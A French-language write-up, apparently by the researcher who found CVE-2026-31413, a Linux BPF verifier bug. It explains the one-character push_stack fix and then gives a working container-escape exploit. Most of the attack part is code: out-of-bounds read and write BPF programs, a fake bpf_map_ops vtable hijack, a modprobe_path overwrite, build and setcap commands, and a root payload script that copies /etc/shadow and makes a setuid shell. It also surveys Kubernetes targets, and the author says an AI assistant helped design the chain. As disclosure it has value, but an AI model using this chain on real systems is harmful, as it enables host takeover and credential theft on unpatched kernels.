
CVE-2026-31413 : bug de solidité du vérificateur BPF - évasion de conteneur
J'ai trouvé un bug de sûreté dans le vérificateur BPF de Linux - un + 1 dans un appel à push_stack()
qui fait que le vérificateur saute une instruction ALU sur un chemin dupliqué. Pour
BPF_OR, cela signifie que le vérificateur suit dst = 0 alors que le CPU calcule
0 | K = K. J'ai écrit une évasion de conteneur complète : lecture/écriture hors limites depuis une map BPF,
détournement de vtable, écrasement de modprobe_path, root sur l'hôte. Ensuite, j'ai rédigé une
série de deux correctifs - une correction d'un caractère dans le vérificateur et 90 lignes de selftests - et
je l'ai fait fusionner dans mainline.
📹 Vidéo de démonstration de l'évasion de conteneur
| CVE | CVE-2026-31413 |
| Classe de bug | Sûreté du vérificateur - divergence de valeur de registre |
| Cause racine | push_stack(env, env->insn_idx + 1, ...) saute l'instruction ALU sur le chemin dupliqué |
| Introduit | bffacdb80b93 - Linux 7.0-rc1 (14 janv. 2026) |
| Corrigé | c845894ebd6f - Linux 7.0-rc5 (22 mars 2026) |
| Affecté | 6.12.75+ (backport stable dea9989a3f) jusqu'à 7.0-rc4 |
| Impact | R/W arbitraire du noyau → évasion de conteneur → root hôte |
| Requis | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| Correctif | Un caractère : insn_idx + 1 → insn_idx |
maybe_fork_scalars() duplique l'état du vérificateur lorsqu'elle voit ARSH + AND/OR avec une
constante. Le chemin dupliqué reçoit dst = 0 et saute l'instruction ALU. Pour AND,
c'est bon : 0 & K = 0. Pour OR, c'est faux : 0 | K = K, pas 0.
Le vérificateur pense que le registre est zéro. Le CPU a K. Je m'en suis servi pour construire
une lecture/écriture hors limites arbitraire à partir d'une valeur de map BPF, divulguer l'adresse noyau de la map,
construire une fausse vtable bpf_map_ops, rediriger map_push_elem via
array_map_get_next_key pour une écriture arbitraire, et écraser modprobe_path.
Déclenchez un format binaire inconnu, le noyau exécute mon script en root. Dans un conteneur,
évasion complète de l'hôte.
Série de deux correctifs : une correction d'un caractère dans le vérificateur plus 90 lignes de selftests BPF couvrant la duplication OR vs AND. Fusionnée par Alexei Starovoitov le 22 mars. CVE-2026-31413 assignée par Greg Kroah-Hartman le 12 avril.
eBPF vous permet de charger de petits programmes dans le noyau - filtres de paquets, hooks de traçage, politiques de sécurité - sans compiler de module noyau. Le problème, c'est que vous injectez du code dans l'anneau 0. Si ce code contient un bug, c'est un bug du noyau.
Ainsi, avant qu'un programme BPF ne s'exécute, le vérificateur du noyau simule chaque chemin d'exécution possible. Il suit ce que contient chaque registre (un pointeur ? un scalaire ? quelle plage ?), vérifie chaque accès mémoire par rapport aux limites de la map, et rejette tout ce qui pourrait lire ou écrire hors limites. Si le vérificateur dit qu'un programme est sûr, le JIT le compile en code machine natif et l'exécute avec tous les privilèges du noyau. Il n'y a plus aucun contrôle de bornes à l'exécution après ce point. Le vérificateur est la frontière de sécurité.
C'est pourquoi les bugs de sûreté du vérificateur diffèrent des corruptions mémoire classiques. Avec un débordement de tas ou une UAF, vous obtenez une primitive de corruption et devez travailler à partir de là - pulvériser le tas, préparer les objets, remporter une course. Avec un bug du vérificateur, vous amenez le noyau à croire un mensonge sur la valeur d'un registre. Chaque contrôle de bornes qui dépend de ce registre passe. Le noyau a approuvé votre accès hors limites. Il l'exécute sans poser de question. Si vous alignez correctement l'état des registres, vous en tirez une primitive propre et fiable.
J'auditais maybe_fork_scalars() - du nouveau code, ajouté en janvier 2026 dans
bffacdb80b93. La duplication d'état est toujours intéressante car c'est là que le
vérificateur se divise en chemins d'exploration parallèles, et si un chemin suit une
valeur incorrecte, tout ce qui se trouve en aval de ce chemin est non fiable.
La fonction duplique l'état lorsqu'elle voit ARSH + AND/OR avec une source constante. Le chemin
dupliqué reçoit dst = 0 et saute l'instruction ALU. Je lisais la ligne
push_stack(env, env->insn_idx + 1, ...) et tout s'est éclairé immédiatement - le
+ 1 signifie que le chemin dupliqué n'exécute jamais l'opération ALU. Pour AND, 0 & K = 0, donc
ignorer l'instruction est correct. Pour OR, 0 | K = K. Le chemin dupliqué pense que le résultat est 0
alors qu'il est en réalité K.
J'ai écrit un programme BPF ce soir-là. ARSH 63 pour obtenir {0, -1}, OR avec une
constante, branche conditionnelle pour séparer les chemins du vérificateur, puis ajout du
registre « zéro » à un pointeur de map. Le vérificateur a approuvé map_value + 0. Le
CPU a accédé à map_value + K. KASAN a confirmé l'accès hors limites lors des
tests.
Lecture/écriture hors limites dès le lendemain matin. Évasion de conteneur dès le lendemain soir. J'ai utilisé
Claude (Opus 4.5) tout au long - pour analyser la logique de duplication d'état
du vérificateur, réfléchir aux primitives d'exploitation, et transformer l'accès hors limites
en une chaîne d'évasion complète. L'approche du détournement de vtable est née d'un échange
où Claude a passé en revue les pointeurs de fonction de bpf_map_ops à la recherche de
gadgets appelables.
Le commit bffacdb80b93 (« bpf: Recognize special arithmetic shift in the
verifier ») a été intégré le 14 janvier 2026 dans 7.0-rc1. Alexei Starovoitov, co-développé
par Puranjay Mohan. Il a ajouté maybe_fork_scalars() pour gérer un motif
DAGCombiner LLVM :```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM abaisse `select_cc setlt X, 0, A, 0` en `sra + and`. Après le décalage arithmétique à droite, le registre vaut soit `0` (entrée non négative), soit `-1` (tous à 1). Le ET avec une constante donne `0` ou `K`.
Le vérificateur ne peut pas suivre `{0, K}` dans un seul `bpf_reg_state` — sa plage signée `[0, K]` est une sur-approximation, ce qui le poussait à rejeter des programmes Cilium valides. La correction : dupliquer l’état du vérificateur. Un chemin explore `dst = 0`, l’autre `dst = -1`, chacun suivant la valeur précise.
La mise en œuvre :```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
Deux choses se produisent sur le chemin poussé :
0insn_idx + 1 - l'instruction après l'opération ALUPour BPF_AND : dst = 0, on saute le AND. À l'exécution : 0 & K = 0. Correspondance. Sûr.
Pour BPF_OR : dst = 0, on saute le OR. À l'exécution : 0 | K = K. Incohérence.
Le vérificateur voit 0. Le CPU a K. Non sûr.
La fonction ne vérifie pas l'opcode. Elle a été écrite pour AND - où sauter
l'instruction équivaut à l'exécuter avec dst = 0 - et a été appliquée à
OR aussi. Pour OR, cette équivalence ne tient pas.
Le motif de déclenchement comporte cinq instructions :``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
The verifier explores two paths:
**Chemin actuel** (`dst = -1`) : L'OR s'exécute, `-1 | K` reste `-1`. La
branche `r6 s< 0` est prise. Le vérificateur suit la sortie. Ce chemin est sûr et
le vérificateur le confirme.
**Chemin poussé** (`dst = 0`, OR ignoré) : `r6 = 0`. La branche `r6 s< 0` n'est pas
prise. Le vérificateur passe à `r9 += r6`, voit `r9 += 0`, et approuve l'accès
mémoire suivant comme étant dans les limites.
**À l'exécution** (`dst = 0`, OR exécuté) : La valeur de la map est positive, donc après ARSH,
`r6 = 0`. L'OR s'exécute : `0 | K = K`. La branche `K s< 0` n'est pas prise (K est
positif). `r9 += K` - un accès hors limites de `K` octets, approuvé par le
vérificateur comme `r9 += 0`.
Je contrôle `K`. Lecture ou écriture hors limites à décalage arbitraire, relative à n'importe quelle valeur de
map BPF.
La version de lecture stocke les données divulguées dans une deuxième map pour une
récupération depuis l'espace utilisateur. La version d'écriture charge une valeur depuis une troisième map et l'écrit au
décalage hors limites. Les deux passent le vérificateur.
Voici le `oob_read_prog` complet - c'est le code réel de l'exploit, pas du
pseudo-code :```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Et l'écriture OOB - même astuce ARSH+OR, mais écrit une valeur depuis une troisième map dans l'offset OOB :```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Pour déclencher l'un ou l'autre programme, je l'attache à une paire de sockets et j'envoie un paquet à travers:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
Le modèle negate-and-add (R7 = 0 - R6; R8 += R7) nous permet d'atteindre des décalages négatifs depuis la valeur de la map - c'est là que résident les métadonnées de la map elle-même.
La chaîne complète :``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### La disposition cible
Un `BPF_MAP_TYPE_ARRAY` repose sur `struct bpf_array`, qui intègre
`struct bpf_map` à l'offset 0. Les valeurs réelles de la carte commencent à l'offset 264 (après
l'en-tête `bpf_array` + alignement). Ainsi, à partir de `value[0]`, les métadonnées de la carte elle-même se trouvent à des offsets négatifs connus :```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
J'ai vérifié cela avec pahole sur le vmlinux 6.12.76-docker. Sur le noyau
testé, les offsets correspondaient exactement.
Deux lectures hors limites me donnent tout ce dont j'ai besoin :
wait_list à l'offset -136. Il s'agit de freeze_mutex.wait_list, une
list_head qui pointe vers elle-même lorsque le mutex est non contesté. Sa valeur
est &map->freeze_mutex.wait_list — un pointeur noyau dans la structure de la map.
Soustrayez 128 et j'obtiens l'adresse de base de la map. Ajoutez 264 et j'obtiens
l'adresse noyau de value[0].
ops à l'offset -264. C'est le pointeur de table virtuelle bpf_map_ops. Sur
un noyau non modifié, il pointe vers le symbole global array_map_ops. Je le lis
pour confirmer que le noyau n'est pas patché et pour obtenir l'adresse de la table
virtuelle en vue du clonage.```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
À ce stade, j'ai : l'adresse kernel de la map, l'adresse de mes données
contrôlées (`value[0]`), et le pointeur de vtable confirmé.
### Étape 2 : Fausse vtable
`bpf_map_ops` possède 42 emplacements de pointeurs de fonction. Si je mets simplement à zéro ceux dont je n'ai pas
besoin, le noyau provoquera un déréférencement NULL la première fois qu'il en touchera un. Je résous donc
chaque symbole depuis `/proc/kallsyms` et construis une copie complète :```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
Le slot 15 est map_push_elem. Dans le array_map_ops réel, c'est NULL (les
tableaux ne supportent pas push). Je le remplace par array_map_get_next_key.
Pourquoi get_next_key ? Sa signature est :```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
Il lit `*(u32 *)key`, l'incrémente et écrit le résultat dans `*(u32
*)next_key`. Lorsqu'il est appelé via le chemin de dispatch `map_push_elem` :```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
The flags argument lands in the next_key parameter. If I control flags, I
control the write destination. The value written is *(u32 *)value + 1 - a
small integer I can predict by setting the first 4 bytes of my push buffer.
Before I can use the fake vtable, I need to redirect the map to it and change
its type so the kernel dispatches through map_push_elem. Three OOB writes,
executed in order:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
Le changement de type est critique. Lorsque l'espace utilisateur appelle `bpf(BPF_MAP_UPDATE_ELEM)` sur une map de type tableau, le noyau passe par `map_update_elem`. Mais sur une map de type file, le même appel système passe par `map_push_elem` - qui pointe désormais vers `array_map_get_next_key`.
Je pré-charge les six programmes BPF (trois écritures + trois restaurations) *avant* de corrompre quoi que ce soit. Une fois que je corromps le pointeur `ops`, je ne peux plus charger de nouveaux programmes BPF référençant cette map - le vérificateur suivrait la fausse vtable et planterait. Tout doit être préparé à l'avance.
### Étape 4 : Écriture arbitraire via map_push_elem
Maintenant, je peux écrire 4 octets à n'importe quelle adresse du noyau :```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() appelle bpf(BPF_MAP_UPDATE_ELEM) avec flags = addr. Le noyau
dispatche vers mon map_push_elem détourné → array_map_get_next_key(map, push_buf, addr). Il lit *(u32 *)push_buf (qui vaut val - 1), ajoute 1, et
écrit val dans *(u32 *)addr.
La primitive d'écriture est un stockage u32 de 4 octets via get_next_key. Il
n'y a aucune contrainte d'alignement - le noyau effectue un *(u32 *)addr = val
normal à l'adresse que l'on fournit.
modprobe_path est une variable globale char[256] du noyau, par défaut /sbin/modprobe.
Lorsque le noyau rencontre un exécutable avec un nombre magique inconnu, il
invoque modprobe_path en tant que root pour charger le module approprié. Je
l'écrase avec un chemin que je contrôle, je déclenche un format binaire inconnu,
et le noyau exécute mon script en tant que root.
Le chemin cible est /tmpn/mo. Je ne peux pas écrire des chaînes arbitraires - j'écris 4 octets
à la fois via l'incrément entier de get_next_key. Mais je n'ai besoin que de deux écritures :```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
En mode conteneur, `modprobe_path` est résolu dans l'espace de noms de montage init - pas
celui du conteneur. Le script de charge utile doit donc exister sur l'hôte à `/tmpn/mo`.
Avec `--pid=host` ou un espace de noms PID partagé, j'atteins le système de fichiers hôte via
`/proc/1/root/` :```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
Dans une attaque réelle, l'exploit écrit la charge utile dans /tmpn/mo sur l'hôte via
/proc/1/root/tmpn/mo (accessible lorsque le pod partage le namespace PID, comme
c'est la norme pour les sidecars de service mesh comme Cilium et les agents de surveillance comme
Falco). La démo simplifie cette étape : l'orchestrateur pré-positionne la charge utile
sur l'hôte afin que l'exploit n'ait plus qu'à déclencher l'exécution.
L'exploit crée le binaire déclencheur - 4 octets de \xff - et l'exécute.
Le noyau ne reconnaît pas le format, recherche modprobe_path, trouve
/tmpn/mo, et l'exécute en tant que root.
La charge utile :```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### Étape 6 : Nettoyage
Après l'écriture de `modprobe_path`, je restaure l'en-tête de la map - type, max_entries,
ops - à l'aide des trois programmes de restauration préchargés. La map redevient un
tableau normal. Pas de fausse vtable pendante, pas d'instabilité du noyau. L'exploit est
à tir unique et laisse un état propre.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
Dans mon environnement de démonstration, la chaîne complète, de la première lecture OOB à l'obtention du shell root, a pris quelques secondes.
Au-delà de l'évasion de conteneur de base, j'ai construit une série de niveaux d'exploit autonomes
qui démontrent différentes capacités de post-exploitation issues de la même
primitive. Chaque niveau est un fichier C autonome dans exploit/ qui utilise la
bibliothèque d'aide partagée exploit_common.h pour la configuration de lecture/écriture OOB ARSH+OR.
Tous les niveaux restaurent chaque modification avant de se terminer. Testé sur 6.12.76.
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
Ou individuellement:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
Chaque niveau nécessite CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## Qui est concerné
L'exploit nécessite `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Vous n'obtiendrez pas cela depuis un conteneur non privilégié ou un compte utilisateur normal sur un système durci. Mais il existe de nombreux contextes où vous disposez de ces capacités.
### Systèmes BPF non privilégiés
Si `kernel.unprivileged_bpf_disabled=0` (vérifiez avec `sysctl`), tout utilisateur local peut charger des programmes BPF. C'était le défaut sur les anciennes distributions et c'est parfois activé pour les environnements de dev/test. Sur ces systèmes, il s'agit d'une élévation de privilèges locale directe — de n'importe quel utilisateur à root, sans permissions spéciales.
La plupart des distributions modernes sont livrées avec `unprivileged_bpf_disabled=1` ou `=2` (verrouillé), donc cette voie est fermée sur les installations par défaut d'Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9, etc.
### Kubernetes / environnements de conteneurs
C'est là que le bug fait mal. Les conteneurs non privilégiés standard suppriment `CAP_BPF`, ils ne peuvent donc pas déclencher le bug. Mais beaucoup de pods d'infrastructure tournent avec des capacités élevées :
| Produit | Privilèges par défaut | Remarques |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Politique réseau, s'exécute sur chaque nœud |
| **Falco** | `privileged: true` | Sécurité runtime, monte /dev |
| **Tetragon** | `privileged: true` | Observabilité eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 autres | Métriques, journaux, APM |
| **Pixie** | `privileged: true` | Observabilité basée sur eBPF |
| **Tracee** | `privileged: true` ou capacités BPF | Sécurité runtime d'Aqua |
Ces derniers s'exécutent généralement sous forme de DaemonSets — un pod par nœud, à l'échelle du cluster. Si un attaquant compromet l'un de ces pods (RCE dans un service web sur le même nœud, attaque de la chaîne d'approvisionnement, SSRF vers une API d'agent, etc.), il dispose des capacités nécessaires pour exécuter cet exploit et s'échapper vers le root de l'hôte.
**Avertissement important :** L'exploit ne fonctionne que sur les noyaux contenant le code vulnérable (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 à rc4). La plupart des clusters K8s de production utilisent des noyaux LTS plus anciens. Vérifiez la version du noyau de votre nœud avec `uname -r` avant de supposer l'exploitabilité.
Depuis le root de l'hôte sur un nœud, le mouvement latéral vers d'autres nœuds est généralement possible via le même DaemonSet (comptes de service partagés, secrets montés, etc.).
### Kubernetes géré (GKE, EKS, AKS)
Google GKE utilise Cilium comme Dataplane V2 par défaut. Si les nœuds GKE exécutent un noyau 6.12.x non corrigé (vérifiez la version de votre pool de nœuds), toute compromission d'un pod Cilium se transforme en prise de contrôle du root de l'hôte et du nœud. J'ai construit l'exploit spécifiquement pour ce scénario — c'est pourquoi il s'appelle `exploit_gke.c`.
Amazon EKS et Azure AKS sont également potentiellement concernés s'ils exécutent des noyaux 6.12.x avec Cilium ou une mise en réseau similaire basée sur BPF. Il faut vérifier les versions d'images AMI/VM spécifiques.
### Android
Android utilise eBPF pour la comptabilité du trafic réseau (netd), le profilage de la puissance et le suivi de la mémoire. Les appareils Android actuels (14/15) utilisent des noyaux 6.1 LTS, qui ne sont **pas concernés**. Android 16 pourrait adopter 6.12 LTS — si c'est le cas, et si le backport vulnérable est inclus, la surface d'attaque serait des services système comme `netd` et `system_server` qui chargent des programmes BPF.
C'est spéculatif et dépend du calendrier d'adoption du noyau par Android. J'ai déposé auprès d'Android VRP pour le suivi.
### Conteneurs à noyau partagé (LXC/LXD)
Les conteneurs système qui partagent le noyau de l'hôte (contrairement aux VM) sont entièrement exposés. Compromettre le noyau partagé = compromettre l'hôte + tous les autres conteneurs qui s'y trouvent. C'est différent de Docker/containerd où vous vous échappez vers un hôte qui pourrait lui-même être une VM.
### Ce dont il ne s'échappe pas
Ceci est un bug du noyau invité, pas une évasion d'hyperviseur. Si vous exécutez l'exploit dans une instance EC2, vous obtenez root sur cette instance — vous ne vous échappez pas de l'hyperviseur Nitro vers l'hôte physique ou d'autres locataires. Idem pour GCE, les VM Azure, KVM, etc. La frontière matérielle tient.
### Noyaux concernés
| Branche | Affecté | Corrigé |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` jusqu'à 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` jusqu'à 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` jusqu'à 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 jusqu'à 7.0-rc4 | 7.0-rc5+ |
Commit d'introduction : `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Commit de correction : `c845894ebd6f`
`CAP_BPF` n'est pas une capacité sûre. Un bug du vérificateur la convertit en lecture/écriture arbitraire du noyau. Les produits qui l'accordent aux pods de charge de travail devraient la traiter comme `CAP_SYS_ADMIN`.
---
## Le correctif
Un caractère :```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
Au lieu de pousser la branche vers insn_idx + 1 (en sautant l'instruction ALU),
pousser vers insn_idx - l'instruction elle-même. Le chemin poussé ré-exécute l'
opération ALU avec dst = 0 :
0 & K = 0 ✓0 | K = K ✓L'approche d'origine était astucieuse - sauter l'instruction et coder le résultat en dur,
économisant une étape du vérificateur sur le chemin poussé. Mais cette optimisation ne fonctionne que
lorsque le résultat de l'exécution de l'instruction avec dst = 0 est zéro. C'est
vrai pour AND et faux pour OR. Le correctif abandonne l'optimisation : il suffit de ré-exécuter l'
instruction et de laisser le vérificateur calculer la valeur correcte pour n'importe quel opcode.
Je suis passé par trois révisions du correctif :
opcode à maybe_fork_scalars() et définition de
dst = K pour OR, dst = 0 pour AND sur le chemin poussé. Fonctionnait, mais ajoutait
de la complexité.insn_idx au lieu de insn_idx + 1. Plus simple, indépendant de l'opcode, élimine
toute la classe de bugs de type saut-vs-exécution.Fusionné en tant que c845894ebd6f le 22 mars par Alexei Starovoitov. Selftests dans
0ad1734cc559. Revu par Eduard Zingerman, approuvé par Amery Hung.
Les selftests couvrent trois cas :
or_scalar_fork_rejects_oob - ARSH 63 + OR 8, value_size=8, accès à
l'offset 8 est hors limites → doit être rejetéand_scalar_fork_still_works - test de régression, le chemin AND accepte toujoursor_scalar_fork_allows_inbounds - OR 4, value_size=8, l'offset 4 est dans les limites
→ doit être acceptéLinus a fusionné d5273fd3ca0b (« Merge tag 'bpf-fixes' ») avec la note : « Correction
du fork scalaire non fiable pour les instructions OR (Daniel Wade) ».
